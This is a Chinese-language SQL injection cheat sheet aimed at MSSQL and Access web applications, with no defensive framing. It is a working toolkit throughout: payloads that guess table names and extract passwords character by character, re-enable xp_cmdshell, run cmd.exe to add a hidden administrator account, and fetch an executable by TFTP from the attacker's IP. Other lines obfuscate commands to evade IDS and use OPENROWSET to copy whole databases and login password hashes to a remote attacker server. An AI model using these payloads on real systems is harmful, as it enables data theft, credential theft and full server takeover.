标题: SQL注入语句2
1..判断有无注入点
; and 1=1 and 1=2

2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
猜列名还有 and (select count(列名) from 表名)>0

4.猜解字段名称在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)

5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
猜长度还有 and (select top 1 len(username) from admin)>5

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

猜内容还有 and (select top 1 asc(mid(password,1,1)) from admin)>50 用ASC码算
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--

看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判断连接数据库帐号。（采用SA账号连接返回正常=证明了连接账号是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--

看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘：
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--

访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

MSSQL也可以用联合查询
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

爆库特殊技巧:%5c=\ 或者把/和\ 修改%5提交

得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd

存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库

枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名

[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

1、开启远程数据库
基本语法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
参数: (1) OLEDB Provider name
2、其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.复制目标主机的整个数据库insert所有远程表到本地表。

基本语法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
复制数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。

遍历目录的方法：先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句9：and 1=(SELECT IS_MEMBER(db_owner));--

把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--

把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)

xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！
